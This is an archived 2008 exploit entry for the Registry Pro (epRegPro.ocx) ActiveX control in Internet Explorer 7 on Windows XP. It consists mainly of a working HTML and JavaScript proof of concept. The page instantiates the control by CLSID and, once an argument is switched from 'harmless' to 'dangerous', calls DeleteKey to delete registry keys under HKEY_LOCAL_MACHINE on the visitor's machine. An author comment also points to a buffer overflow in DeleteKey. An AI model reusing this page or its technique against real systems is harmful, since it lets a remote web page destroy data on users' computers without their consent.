Registry Pro (epRegPro.ocx) Remote Insecure Method Exploit

🗓️ 18 Mar 2008 00:00:00Reported by RootType

Remote exploit targeting the epRegPro.ocx ActiveX control on Internet Explorer 7 in Windows XP SP2. Exploits a vulnerability in the DeleteKey() function to execute arbitrary code and delete specific registry keys


                                                &lt;HTML&gt;
&lt;!--

	-&nbsp;Registry&nbsp;Pro&nbsp;(epRegPro.ocx)&nbsp;Remote&nbsp;Insecure&nbsp;Exploit&nbsp;-
	
		Author:&nbsp;t0pP8uZz
		Homepage:&nbsp;h4ck-y0u.org&nbsp;/&nbsp;milw0rm.com
		Description:&nbsp;ActiveX&nbsp;Remote&nbsp;Insecure
		
		Report:&nbsp;Tested&nbsp;on&nbsp;Microsoft&nbsp;Windows&nbsp;XP&nbsp;Pro&nbsp;(SP2&nbsp;)&nbsp;Internet&nbsp;Explorer&nbsp;7&nbsp;Fully&nbsp;Patched
		
		ActiveX:&nbsp;http://www.evansprogramming.com/registry_pro.asp
	
		The&nbsp;Following&nbsp;Material&nbsp;Is&nbsp;For&nbsp;Educational&nbsp;Purposes&nbsp;Only&nbsp;-&nbsp;I&nbsp;will&nbsp;not&nbsp;be&nbsp;held&nbsp;responsable&nbsp;for&nbsp;any&nbsp;illegal&nbsp;actions.
		
		NOTE:&nbsp;the&nbsp;first&nbsp;parameter&nbsp;in&nbsp;the&nbsp;DeleteKey()&nbsp;function&nbsp;is&nbsp;vulnerble&nbsp;to&nbsp;BoF.&nbsp;And&nbsp;can&nbsp;possiblly&nbsp;overwrite&nbsp;the&nbsp;EIP
	
		InternetExplorer&nbsp;can&nbsp;Initialise&nbsp;this&nbsp;ActiveX&nbsp;control,&nbsp;And&nbsp;take&nbsp;advantage&nbsp;of&nbsp;its&nbsp;functions.
		Included&nbsp;in&nbsp;this&nbsp;exploit&nbsp;(POC)&nbsp;is&nbsp;a&nbsp;peice&nbsp;of&nbsp;javascript&nbsp;code&nbsp;lauching&nbsp;the&nbsp;ActiveX&nbsp;control,&nbsp;and&nbsp;executing&nbsp;one&nbsp;of&nbsp;its&nbsp;functions.&nbsp;the&nbsp;function&nbsp;being&nbsp;About()
		all&nbsp;this&nbsp;will&nbsp;do&nbsp;is&nbsp;lauch&nbsp;a&nbsp;friendly,&nbsp;harmless&nbsp;dialog&nbsp;box,&nbsp;therefore&nbsp;being&nbsp;the&nbsp;perfect&nbsp;POC.
		
		Also&nbsp;i&nbsp;added&nbsp;a&nbsp;peice&nbsp;of&nbsp;code&nbsp;that&nbsp;will&nbsp;delete&nbsp;specific&nbsp;REGKEYS&nbsp;or&nbsp;infact&nbsp;possible&nbsp;delete&nbsp;a&nbsp;whole&nbsp;subkey/branch.&nbsp;to&nbsp;use&nbsp;this&nbsp;code&nbsp;it&nbsp;has&nbsp;to&nbsp;be&nbsp;uncommented.
		
	-&nbsp;epRegPro.ocx&nbsp;-
	
		About	&nbsp;	Displays&nbsp;the&nbsp;Registry&nbsp;Pro&nbsp;About&nbsp;Dialog.
		CreateKey	&nbsp;	Creates&nbsp;a&nbsp;registry&nbsp;key.
		DeleteBranch	&nbsp;Deletes&nbsp;a&nbsp;branch&nbsp;and&nbsp;all&nbsp;it&amp;#146;s&nbsp;child&nbsp;keys&nbsp;and&nbsp;values.
		DeleteKey	&nbsp;	Deletes&nbsp;one&nbsp;registry&nbsp;key.
		DeleteValue	&nbsp;	Deletes&nbsp;one&nbsp;registry&nbsp;value.
		EnumKeys	&nbsp;	Returns&nbsp;a&nbsp;collection&nbsp;containing&nbsp;all&nbsp;keys&nbsp;within&nbsp;a&nbsp;specified&nbsp;branch.
		EnumValues	&nbsp;	Returns&nbsp;a&nbsp;collection&nbsp;containing&nbsp;all&nbsp;values&nbsp;within&nbsp;a&nbsp;specified&nbsp;key.
		QueryType	&nbsp;	Returns&nbsp;a&nbsp;value&nbsp;type.
		QueryValue	&nbsp;	Returns&nbsp;a&nbsp;value.
		RenameKey	&nbsp;	Renames&nbsp;a&nbsp;key.
		SetValue	&nbsp;	Sets&nbsp;or&nbsp;creates&nbsp;a&nbsp;value.
		
	Peace.

--&gt;
&lt;OBJECT&nbsp;ID=&quot;RegPro&quot;&nbsp;CLASSID=&quot;CLSID:D5C839EB-DA84-4F98-9D42-2074C2EE9EFC&quot;&gt;Could&nbsp;Not&nbsp;Load&nbsp;ActiveX&nbsp;Control.&lt;/OBJECT&gt;
&lt;script&nbsp;language=&quot;javascript&quot;&gt;
/*&nbsp;-&nbsp;Registry&nbsp;Pro&nbsp;(epRegPro.ocx)&nbsp;Remote&nbsp;Insecure&nbsp;Exploit&nbsp;-&nbsp;*/
/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Javascript&nbsp;Code&nbsp;By&nbsp;t0pP8uZz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/

var&nbsp;keyname&nbsp;=&nbsp;&quot;Software/key&quot;;&nbsp;//&nbsp;Registry&nbsp;key&nbsp;to&nbsp;delete

Exploit(&quot;harmless&quot;);&nbsp;//&nbsp;Change&nbsp;argument&nbsp;to&nbsp;&quot;dangerous&quot;&nbsp;to&nbsp;delete&nbsp;specified&nbsp;reg&nbsp;key.

function&nbsp;Exploit(type)&nbsp;{

	switch(type)&nbsp;{&nbsp;
		
		case&nbsp;&quot;harmless&quot;:
		default:
			RegPro.About();&nbsp;//&nbsp;Simple&nbsp;Harmless&nbsp;POC
			break
			
		case&nbsp;&quot;dangerous&quot;:
			RegPro.DeleteKey(80000002,&nbsp;keyname);&nbsp;//&nbsp;80000002&nbsp;HKEY_LOCAL_MACHINE,&nbsp;HKEY_CURRENT_USER	80000001h&nbsp;UNCOMMENTING&nbsp;THIS&nbsp;LIKE&nbsp;WILL&nbsp;DELETE&nbsp;REGISTRY&nbsp;KEYS
			break
	}
}

&lt;/script&gt;
&lt;/HTML&gt;

18 Mar 2008 00:00Current

7.1High risk

Vulners AI Score7.1